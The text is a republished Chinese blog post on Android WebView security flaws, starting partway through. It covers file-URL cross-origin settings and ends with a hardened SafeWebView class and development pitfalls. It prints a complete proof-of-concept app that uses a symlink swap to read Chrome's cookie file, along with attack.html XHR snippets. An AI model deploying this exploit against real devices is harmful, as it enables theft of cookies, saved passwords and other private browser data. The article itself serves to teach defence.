I/chromium(27749): [INFO:CONSOLE(0)] “XMLHttpRequest cannot load file:///etc/hosts. Cross origin requests are only supported for HTTP.”, source: file:///data/local/tmp/attack.html 

setAllowUniversalAccessFromFileURLs

  通過此 API 可以設置是否允許通過 file url 加載的 Javascript 可以訪問其他的源,包括其他的文件和 http,https 等其他的源。這個設置在 JELLY_BEAN 以前的版本默認是允許,在 JELLY_BEAN 及以后的版本中默認是禁止的。如果此設置是允許,則 setAllowFileAccessFromFileURLs 不起做用,此時修改 attack.html 的代碼:

<script> function loadXMLDoc() { var arm = "http://www.so.com"; var xmlhttp; if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } xmlhttp.onreadystatechange=function() { //alert("status is"+xmlhttp.status); if (xmlhttp.readyState==4) { console.log(xmlhttp.responseText); } } xmlhttp.open("GET",arm); xmlhttp.send(null); } loadXMLDoc(); </script> 

當 AllowFileAccessFromFileURLs 為 true 時,上述 javascript 可以成功讀取 http://www.so.com 的內容,但設置為 false 時,上述腳本執行會導致如下錯誤,表示瀏覽器禁止從 file url 中的 javascript 訪問其他源的資源:

I/chromium(28336): [INFO:CONSOLE(0)] “XMLHttpRequest cannot load http://www.so.com/. Origin null is not allowed by Access-Control-Allow-Origin.”, source: file:///data/local/tmp/attack.html

以上漏洞的初步解決方案

  通過以上的介紹,初步的方案是使用下面的代碼來杜絕:

setAllowFileAccess(true); //設置為 false 將不能加載本地 html 文件 setAllowFileAccessFromFileURLs(false); setAllowUniversalAccessFromFileURLs(false);

這樣就可以讓 html 頁面加載本地的 javascript,同時杜絕加載的 js 訪問本地的文件或者讀取其他的源,不是就 OK 了么,而且在 JELLY_BEAN(android 4.1) 版本以及之后不是都默認為 false 了么,其實不然,我們繼續往下看其他漏洞。

使用符號鏈接跨源

  為了安全的使用 WebView,AllowUniversalAccessFromFileURLs 和 AllowFileAccessFromFileURLs 都應該設置為禁止,在 JELLY_BEAN(android 4.1) 及以后的版本中這兩項設置默認也是禁止的,但是即使把這兩項都設置為 false,通過 file URL 加載的 javascript 仍然有方法訪問其他的本地文件,通過符號鏈接攻擊可以達到這一目的,前提是允許 file URL 執行 javascript。這一攻擊能奏效的原因是無論怎么限制 file 協議的同源檢查,其 javascript 都應該能訪問當前的文件,通過 javascript 的延時執行和將當前文件替換成指向其它文件的軟鏈接就可以讀取到被符號鏈接所指的文件,具體攻擊步驟見 Chromium bug 144866,下面也貼出了代碼和詳解。因為 Chrome 最新版本默認禁用 file 協議,所以這一漏洞在最新版的 Chrome 中並不存在,Google 也並沒有修復它,但是大量使用 WebView 的應用和瀏覽器,都有可能受到此漏洞的影響,通過利用此漏洞,無特殊權限的惡意 APP 可以盜取瀏覽器的任意私有文件,包括但不限於 Cookie、保存的密碼、收藏夾和歷史記錄,並可以將所盜取的文件上傳到攻擊者的服務器。下圖為通過 file URL 讀取某手機瀏覽器 Cookie 的截圖:
這里寫圖片描述
截圖將 Cookie alert 出來了,實際情況可以上傳到服務器,攻擊的詳細代碼如下所示:

public class MainActivity extends AppCompatActivity { public final static String MY_PKG = "com.example.safewebview"; public final static String MY_TMP_DIR = "/data/data/" + MY_PKG + "/tmp/"; public final static String HTML_PATH = MY_TMP_DIR + "A" + Math.random() + ".html"; public final static String TARGET_PKG = "com.android.chrome"; public final static String TARGET_FILE_PATH = "/data/data/" + TARGET_PKG + "/app_chrome/Default/Cookies"; public final static String HTML = "<body>" + "<u>Wait a few seconds.</u>" + "<script>" + "var d = document;" + "function doitjs() {" + " var xhr = new XMLHttpRequest;" + " xhr.onload = function() {" + " var txt = xhr.responseText;" + " d.body.appendChild(d.createTextNode(txt));" + " alert(txt);" + " };" + " xhr.open('GET', d.URL);" + " xhr.send(null);" + "}" + "setTimeout(doitjs, 8000);" + "</script>" + "</body>"; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); doit(); } public void doit() { try { // Create a malicious HTML cmdexec("mkdir " + MY_TMP_DIR); cmdexec("echo \"" + HTML + "\" > " + HTML_PATH); cmdexec("chmod -R 777 " + MY_TMP_DIR); Thread.sleep(1000); // Force Chrome to load the malicious HTML invokeChrome("file://" + HTML_PATH); Thread.sleep(4000); // Replace the HTML with a symlink to Chrome's Cookie file cmdexec("rm " + HTML_PATH); cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH); } catch (Exception e) { } } public void invokeChrome(String url) { Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url)); intent.setClassName(TARGET_PKG, TARGET_PKG + ".Main"); startActivity(intent); } public void cmdexec(String cmd) { try { String[] tmp = new String[]{"/system/bin/sh", "-c", cmd}; Runtime.getRuntime().exec(tmp); } catch (Exception e) { } } }

這就是使用符號鏈接跨源獲取私有文件的代碼,應該不難讀懂,首先把惡意的 js 代碼輸出到攻擊應用的目錄下,隨機命名為 xx.html,並且修改該目錄的權限,修改完成之后休眠 1s,讓文件操作完成,完成之后通過系統的 Chrome 應用去打開這個 xx.html 文件,然后等待 4s 讓 Chrome 加載完成該 html,最后將該 html 刪除,並且使用 ln -s 命令為 Chrome 的 Cookie 文件創建軟連接,注意,在這條命令執行之前 xx.html 是不存在的,執行完這條命令之后,就生成了這個文件,並且將 Cookie 文件鏈接到了 xx.html 上,於是就可以通過鏈接來訪問 Chrome 的 Cookie 了。

setJavaScriptEnabled

  通過此 API 可以設置是否允許 WebView 使用 JavaScript,默認是不允許,但很多應用,包括移動瀏覽器為了讓 WebView 執行 http 協議中的 JavaScript,都會主動設置允許 WebView 執行 JavaScript,而又不會對不同的協議區別對待,比較安全的實現是如果加載的 url 是 http 或 https 協議,則啟用 JavaScript,如果是其它危險協議,比如是 file 協議,則禁用 JavaScript。如果是 file 協議,禁用 javascript 可以很大程度上減小跨源漏洞對 WebView 的威脅,但是此時禁用 JavaScript 的執行並不能完全杜絕跨源文件泄露。例如,有的應用實現了下載功能,對於加載不了的頁面,會自動下載到 sd 卡中,由於 sd 卡中的文件所有應用都可以訪問,於是可以通過構造一個 file URL 指向被攻擊應用的私有文件,然后用此 URL 啟動被攻擊應用的 WebActivity,這樣由於該 WebActivity 無法加載該文件,就會將該文件下載到 sd 卡下面,然后就可以從 sd 卡上讀取這個文件了,當然這種應用比較少,這個也算是應用自身無意產生的一個漏洞吧。

以上漏洞的解決方案

  針對 WebView 域控制不嚴格漏洞的安全建議如下:

  1. 對於不需要使用 file 協議的應用,禁用 file 協議;
  2. 對於需要使用 file 協議的應用,禁止 file 協議加載 JavaScript。

  所以兩種解決辦法,第一種類似 Chrome,直接禁止 file 協議:

 

setAllowFileAccess(false); //設置為 false 將不能加載本地 html 文件 setAllowFileAccessFromFileURLs(false); setAllowUniversalAccessFromFileURLs(false);

 

第二種是根據不同情況不同處理(無法避免應用對於無法加載的頁面下載到 sd 卡上這個漏洞):

setAllowFileAccess(true); //設置為 false 將不能加載本地 html 文件 setAllowFileAccessFromFileURLs(false); setAllowUniversalAccessFromFileURLs(false); if (url.startsWith("file://") { setJavaScriptEnabled(false); } else { setJavaScriptEnabled(true); }

開發中遇見的坑

  這里記錄一下開發中遇到的一些坑和解決辦法:

loadData() 方法

  我們可以通過使用 WebView.loadData(String data, String mimeType, String encoding) 方法來加載一整個 HTML 頁面的一小段內容,第一個就是我們需要 WebView 展示的內容,第二個是我們告訴 WebView 我們展示內容的類型,一般,第三個是字節碼,但是使用的時候,這里會有一些坑,我們來看一個簡單的例子:

String html = new String("<h3>我是loadData() 的標題</h3><p>&nbsp&nbsp我是他的內容</p>"); webView.loadData(html, "text/html", "UTF-8");

這里的邏輯很簡單,加載一個簡單的富文本標簽,我們看看運行后的效果:
這里寫圖片描述
可以注意到這里顯示成亂碼了,可是明明已經指定了編碼格式為 UTF-8 啊,可是這就是使用的坑,我們需要將代碼進行修改:

String html = new String("<h3>我是loadData() 的標題</h3><p>&nbsp&nbsp我是他的內容</p>"); webView.loadData(html, "text/html;charset=UTF-8", "null");

我們再來看看顯示效果:
這里寫圖片描述
這樣我們就可以看到正確的內容了,Google 還指出,在我們這種加載的方法下,我們的 Data 數據里不能出現 ’#’, ‘%’, ‘\’ , ‘?’ 這四個字符,如果出現了我們要用 %23, %25, %27, %3f 對應來替代,網上列舉了未將特定字符轉義過程中遇到的異常現象:

A)   % 會報找不到頁面錯誤,頁面全是亂碼。 B) # 會讓你的 goBack 失效,但 canGoBAck 是可以使用的,於是就會產生返回按鈕生效,但不能返回的情況。 C) \ 和 ? 在轉換時,會報錯,因為它會把 \ 當作轉義符來使用,如果用兩級轉義,也不生效。

我們在使用 loadData() 時,就意味着需要把所有的非法字符全部轉換掉,這樣就會給運行速度帶來很大的影響,因為在使用時,很多情況下頁面 stytle 中會使用很多 ‘%’ 號,頁面的數據越多,運行的速度就會越慢。

頁面空白

  當 WebView 嵌套在 ScrollView 里面的時候,如果 WebView 先加載了一個高度很高的網頁,然后加載了一個高度很低的網頁,就會造成 WebView 的高度無法自適應,底部出現大量空白的情況出現,具體的可以看看我以前的博客:android ScollView 嵌套 WebView 底部空白,高度無法自適應解決

內存泄漏

  WebView 的內存泄漏是一個比較大的問題,尤其是當加載的頁面比較龐大的時候,解決方法網上也比較多,但是看情況大部分都不是能徹底根治的,這里說一下 QQ 和微信的做法,每當打開一個 WebView 界面的時候,會開啟一個新進程,在頁面退出之后通過 System.exit(0) 關閉這個進程,這樣就不會存在內存泄漏的問題了,具體的做法可以查看這篇博客:Android WebView Memory Leak WebView內存泄漏,里面也提供了另外一種解決辦法,感興趣的可以去看一下。

setBuiltInZoomControls 引起的 Crash

  當使用 mWebView.getSettings().setBuiltInZoomControls(true) 啟用該設置后,用戶一旦觸摸屏幕,就會出現縮放控制圖標。這個圖標過上幾秒會自動消失,但在 3.0 之上 4.4 系統之下很多手機會出現這種情況:如果圖標自動消失前退出當前 Activity 的話,就會發生 ZoomButton 找不到依附的 Window 而造成程序崩潰,解決辦法很簡單就是在 Activity 的 onDestory 方法中調用 mWebView.setVisibility(View.GONE); 方法,手動將其隱藏,就不會崩潰了。

后台無法釋放 JS 導致耗電

  如果 WebView 加載的的 html 里有一些 JS 一直在執行比如動畫之類的東西,如果此刻 WebView 掛在了后台,這些資源是不會被釋放,用戶也無法感知,導致一直占有 CPU 增加耗電量,如果遇到這種情況,在 onStop 和 onResume 里分別把 setJavaScriptEnabled() 給設置成 false 和 true 即可。

源碼

  來看看解決上述問題的 WebView 源碼:

public class SafeWebView extends WebView { private static final boolean DEBUG = true; private static final String VAR_ARG_PREFIX = "arg"; private static final String MSG_PROMPT_HEADER = "MyApp:"; /** * 對象名 */ private static final String KEY_INTERFACE_NAME = "obj"; /** * 函數名 */ private static final String KEY_FUNCTION_NAME = "func"; /** * 參數數組 */ private static final String KEY_ARG_ARRAY = "args"; /** * 要過濾的方法數組 */ private static final String[] mFilterMethods = { "getClass", "hashCode", "notify", "notifyAll", "equals", "toString", "wait", }; /** * 緩存addJavascriptInterface的注冊對象 */ private HashMap<String, Object> mJsInterfaceMap = new HashMap<>(); /** * 緩存注入到JavaScript Context的js腳本 */ private String mJsStringCache = null; public SafeWebView(Context context, AttributeSet attrs, int defStyle) { super(context, attrs, defStyle); init(); } public SafeWebView(Context context, AttributeSet attrs) { super(context, attrs); init(); } public SafeWebView(Context context) { super(context); init(); } /** * WebView 初始化,設置監聽,刪除部分Android默認注冊的JS接口 */ private void init() { setWebChromeClient(new WebChromeClientEx()); setWebViewClient(new WebViewClientEx()); safeSetting(); removeUnSafeJavascriptImpl(); } /** * 安全性設置 */ private void safeSetting() { getSettings().setSavePassword(false); getSettings().setAllowFileAccess(false);//設置為 false 將不能加載本地 html 文件 if (Build.VERSION.SDK_INT >= 16) { getSettings().setAllowFileAccessFromFileURLs(false); getSettings().setAllowUniversalAccessFromFileURLs(false); } } /** * 檢查SDK版本是否 >= 3.0 (API 11) */ private boolean hasHoneycomb() { return Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB; } /** * 檢查SDK版本是否 >= 4.2 (API 17) */ private boolean hasJellyBeanMR1() { return Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1; } /** * 3.0 ~ 4.2 之間的版本需要移除 Google 注入的幾個對象 */ @SuppressLint("NewApi") private boolean removeUnSafeJavascriptImpl() { if (hasHoneycomb() && !hasJellyBeanMR1()) { super.removeJavascriptInterface("searchBoxJavaBridge_"); super.removeJavascriptInterface("accessibility"); super.removeJavascriptInterface("accessibilityTraversal"); return true; } return false; } @Override public void setWebViewClient(WebViewClient client) { if (hasJellyBeanMR1()) { super.setWebViewClient(client); } else { if (client instanceof WebViewClientEx) { super.setWebViewClient(client); } else if (client == null) { super.setWebViewClient(client); } else { throw new IllegalArgumentException( "the \'client\' must be a subclass of the \'WebViewClientEx\'"); } } } @Override public void setWebChromeClient(WebChromeClient client) { if (hasJellyBeanMR1()) { super.setWebChromeClient(client); } else { if (client instanceof WebChromeClientEx) { super.setWebChromeClient(client); } else if (client == null) { super.setWebChromeClient(client); } else { throw new IllegalArgumentException( "the \'client\' must be a subclass of the \'WebChromeClientEx\'"); } } } /** * 如果版本大於 4.2,漏洞已經被解決,直接調用基類的 addJavascriptInterface * 如果版本小於 4.2,則使用map緩存待注入對象 */ @SuppressLint("JavascriptInterface") @Override public void addJavascriptInterface(Object obj, String interfaceName) { if (TextUtils.isEmpty(interfaceName)) { return; } // 如果在4.2以上,直接調用基類的方法來注冊 if (hasJellyBeanMR1()) { super.addJavascriptInterface(obj, interfaceName); } else { mJsInterfaceMap.put(interfaceName, obj); } } /** * 刪除待注入對象, * 如果版本為 4.2 以及 4.2 以上,則使用父類的removeJavascriptInterface。 * 如果版本小於 4.2,則從緩存 map 中刪除注入對象 */ @SuppressLint("NewApi") public void removeJavascriptInterface(String interfaceName) { if (hasJellyBeanMR1()) { super.removeJavascriptInterface(interfaceName); } else { mJsInterfaceMap.remove(interfaceName); //每次 remove 之后,都需要重新構造 JS 注入 mJsStringCache = null; injectJavascriptInterfaces(); } } /** * 如果 WebView 是 SafeWebView 類型,則向 JavaScript Context 注入對象,確保 WebView 是有安全機制的 */ private void injectJavascriptInterfaces(WebView webView) { if (webView instanceof SafeWebView) { injectJavascriptInterfaces(); } } /** * 注入我們構造的 JS */ private void injectJavascriptInterfaces() { if (!TextUtils.isEmpty(mJsStringCache)) { loadUrl(mJsStringCache); return; } mJsStringCache = genJavascriptInterfacesString(); loadUrl(mJsStringCache); } /** * 根據緩存的待注入java對象,生成映射的JavaScript代碼,也就是橋梁(SDK4.2之前通過反射生成) */ private String genJavascriptInterfacesString() { if (mJsInterfaceMap.size() == 0) { return null; } /* * 要注入的JS的格式,其中XXX為注入的對象的方法名,例如注入的對象中有一個方法A,那么這個XXX就是A * 如果這個對象中有多個方法,則會注冊多個window.XXX_js_interface_name塊,我們是用反射的方法遍歷 * 注入對象中的帶有@JavaScripterInterface標注的方法 * * javascript:(function JsAddJavascriptInterface_(){ * if(typeof(window.XXX_js_interface_name)!='undefined'){ * console.log('window.XXX_js_interface_name is exist!!'); * }else{ * window.XXX_js_interface_name={ * XXX:function(arg0,arg1){ * return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]})); * }, * }; * } * })() */ Iterator<Map.Entry<String, Object>> iterator = mJsInterfaceMap.entrySet().iterator(); //HEAD StringBuilder script = new StringBuilder(); script.append("javascript:(function JsAddJavascriptInterface_(){"); // 遍歷待注入java對象,生成相應的js對象 try { while (iterator.hasNext()) { Map.Entry<String, Object> entry = iterator.next(); String interfaceName = entry.getKey(); Object obj = entry.getValue(); // 生成相應的js方法 createJsMethod(interfaceName, obj, script); } } catch (Exception e) { e.printStackTrace(); } // End script.append("})()"); return script.toString(); } /** * 根據待注入的java對象,生成js方法 * * @param interfaceName 對象名 * @param obj 待注入的java對象 * @param script js代碼 */ private void createJsMethod(String interfaceName, Object obj, StringBuilder script) { if (TextUtils.isEmpty(interfaceName) || (null == obj) || (null == script)) { return; } Class<? extends Object> objClass = obj.getClass(); script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){"); if (DEBUG) { script.append(" console.log('window." + interfaceName + "_js_interface_name is exist!!');"); } script.append("}else {"); script.append(" window.").append(interfaceName).append("={"); // 通過反射機制,添加java對象的方法 Method[] methods = objClass.getMethods(); for (Method method : methods) { String methodName = method.getName(); // 過濾掉Object類的方法,包括getClass()方法,因為在Js中就是通過getClass()方法來得到Runtime實例 if (filterMethods(methodName)) { continue; } script.append(" ").append(methodName).append(":function("); // 添加方法的參數 int argCount = method.getParameterTypes().length; if (argCount > 0) { int maxCount = argCount - 1; for (int i = 0; i < maxCount; ++i) { script.append(VAR_ARG_PREFIX).append(i).append(","); } script.append(VAR_ARG_PREFIX).append(argCount - 1); } script.append(") {"); // Add implementation if (method.getReturnType() != void.class) { script.append(" return ").append("prompt('").append(MSG_PROMPT_HEADER).append("'+"); } else { script.append(" prompt('").append(MSG_PROMPT_HEADER).append("'+"); } // Begin JSON script.append("JSON.stringify({"); script.append(KEY_INTERFACE_NAME).append(":'").append(interfaceName).append("',"); script.append(KEY_FUNCTION_NAME).append(":'").append(methodName).append("',"); script.append(KEY_ARG_ARRAY).append(":["); // 添加參數到JSON串中 if (argCount > 0) { int max = argCount - 1; for (int i = 0; i < max; i++) { script.append(VAR_ARG_PREFIX).append(i).append(","); } script.append(VAR_ARG_PREFIX).append(max); } // End JSON script.append("]})"); // End prompt script.append(");"); // End function script.append(" }, "); } // End of obj script.append(" };"); // End of if or else script.append("}"); } /** * 檢查是否是被過濾的方法 */ private boolean filterMethods(String methodName) { for (String method : mFilterMethods) { if (method.equals(methodName)) { return true; } } return false; } /** * 利用反射,調用java對象的方法。 * <p> * 從緩存中取出key=interfaceName的java對象,並調用其methodName方法 * * @param result * @param interfaceName 對象名 * @param methodName 方法名 * @param args 參數列表 * @return */ private boolean invokeJSInterfaceMethod(JsPromptResult result, String interfaceName, String methodName, Object[] args) { boolean succeed = false; final Object obj = mJsInterfaceMap.get(interfaceName); if (null == obj) { result.cancel(); return false; } Class<?>[] parameterTypes = null; int count = 0; if (args != null) { count = args.length; } if (count > 0) { parameterTypes = new Class[count]; for (int i = 0; i < count; ++i) { parameterTypes[i] = getClassFromJsonObject(args[i]); } } try { Method method = obj.getClass().getMethod(methodName, parameterTypes); Object returnObj = method.invoke(obj, args); // 執行接口調用 boolean isVoid = returnObj == null || returnObj.getClass() == void.class; String returnValue = isVoid ? "" : returnObj.toString(); result.confirm(returnValue); // 通過prompt返回調用結果 succeed = true; } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } result.cancel(); return succeed; } /** * 解析出參數類型 * * @param obj * @return */ private Class<?> getClassFromJsonObject(Object obj) { Class<?> cls = obj.getClass(); // js對象只支持int boolean string三種類型 if (cls == Integer.class) { cls = Integer.TYPE; } else if (cls == Boolean.class) { cls = Boolean.TYPE; } else { cls = String.class; } return cls; } /** * 解析JavaScript調用prompt的參數message,提取出對象名、方法名,以及參數列表,再利用反射,調用java對象的方法。 * * @param view * @param url * @param message MyApp:{"obj":"jsInterface","func":"onButtonClick","args":["從JS中傳遞過來的文本!!!"]} * @param defaultValue * @param result * @return */ private boolean handleJsInterface(WebView view, String url, String message, String defaultValue, JsPromptResult result) { String prefix = MSG_PROMPT_HEADER; if (!message.startsWith(prefix)) { return false; } String jsonStr = message.substring(prefix.length()); try { JSONObject jsonObj = new JSONObject(jsonStr); // 對象名稱 String interfaceName = jsonObj.getString(KEY_INTERFACE_NAME); // 方法名稱 String methodName = jsonObj.getString(KEY_FUNCTION_NAME); // 參數數組 JSONArray argsArray = jsonObj.getJSONArray(KEY_ARG_ARRAY); Object[] args = null; if (null != argsArray) { int count = argsArray.length(); if (count > 0) { args = new Object[count]; for (int i = 0; i < count; ++i) { Object arg = argsArray.get(i); if (!arg.toString().equals("null")) { args[i] = arg; } else { args[i] = null; } } } } if (invokeJSInterfaceMethod(result, interfaceName, methodName, args)) { return true; } } catch (Exception e) { e.printStackTrace(); } result.cancel(); return false; } private class WebChromeClientEx extends WebChromeClient { @Override public final void onProgressChanged(WebView view, int newProgress) { injectJavascriptInterfaces(view); super.onProgressChanged(view, newProgress); } @Override public final boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) { if (view instanceof SafeWebView) { if (handleJsInterface(view, url, message, defaultValue, result)) { return true; } } return super.onJsPrompt(view, url, message, defaultValue, result); } @Override public final void onReceivedTitle(WebView view, String title) { injectJavascriptInterfaces(view); } } private class WebViewClientEx extends WebViewClient { @Override public void onLoadResource(WebView view, String url) { injectJavascriptInterfaces(view); super.onLoadResource(view, url); } @Override public void doUpdateVisitedHistory(WebView view, String url, boolean isReload) { injectJavascriptInterfaces(view); super.doUpdateVisitedHistory(view, url, isReload); } @Override public void onPageStarted(WebView view, String url, Bitmap favicon) { injectJavascriptInterfaces(view); super.onPageStarted(view, url, favicon); } @Override public void onPageFinished(WebView view, String url) { injectJavascriptInterfaces(view); super.onPageFinished(view, url); } } }

這段代碼基本是按照上面所描述的情況來寫的,修復了上面提到的幾個漏洞,這里再描述一下幾個需要注意的點:

  • removeUnSafeJavascriptImpl :該函數用來在特定版本刪除上面提到的幾個 Google 注入的對象;
  • setWebViewClient 和 setWebChromeClient :重寫這兩個函數用來防止子類使用原生的 WebViewClient 和 WebChromeClient 導致失效;
  • 在上面提到的 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged 幾個方法里面調用 injectJavascriptInterfaces 方法來注入生成的 JS 代碼;
  • genJavascriptInterfacesString 函數用來生成需要注入的 JS 代碼,其中通過 filterMethods 方法過濾掉了上面提到的幾個需要過濾的方法;
  • 注入完 JS 之后,Web 端就可以根據方法名調用對應終端注入的這段 JS 函數,然后調用到終端的 onJsPrompt 方法,通過 message 變量將信息傳遞過來,終端解析出對象、方法名和參數,最后通過反射的方法調用到 Native 層的代碼,另外如果需要返回值,則可以通過 JsPromptResult 對象通過 confirm 函數將信息從 Native 層傳遞給 Web 端,這樣就實現了一個完整的調用鏈。

  下載源碼:https://github.com/zhaozepeng/SafeWebView;參考自:https://github.com/yushiwo/WebViewBugDemo,在此基礎上做了一些優化。 
  轉載請注明出處:http://blog.csdn.net/self_study/article/details/54928371

 

引用

http://group.jobbole.com/26417/?utm_source=android.jobbole.com&utm_medium=sidebar-group-topic 
http://blog.csdn.net/jiangwei0910410003/article/details/52687530 
http://blog.csdn.net/leehong2005/article/details/11808557 
https://github.com/yushiwo/WebViewBugDemo/blob/master/src/com/lee/webviewbug/WebViewEx.java 
http://blog.csdn.net/sk719887916/article/details/52402470 
https://zhuanlan.zhihu.com/p/24202408 
https://github.com/lzyzsd/JsBridge 
http://www.jianshu.com/p/93cea79a2443# 
http://www.codexiu.cn/android/blog/33214/ 
https://github.com/pedant/safe-java-js-webview-bridge 
http://blog.sina.com.cn/s/blog_777f9dbb0102v8by.html 
http://www.cnblogs.com/chaoyuehedy/p/5556557.html 
http://blogs.360.cn/360mobile/2014/09/22/webview%E8%B7%A8%E6%BA%90%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/ 
https://my.oschina.net/zhibuji/blog/100580 
http://www.cnblogs.com/punkisnotdead/p/5062631.html?utm_source=tuicool&utm_medium=referral


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM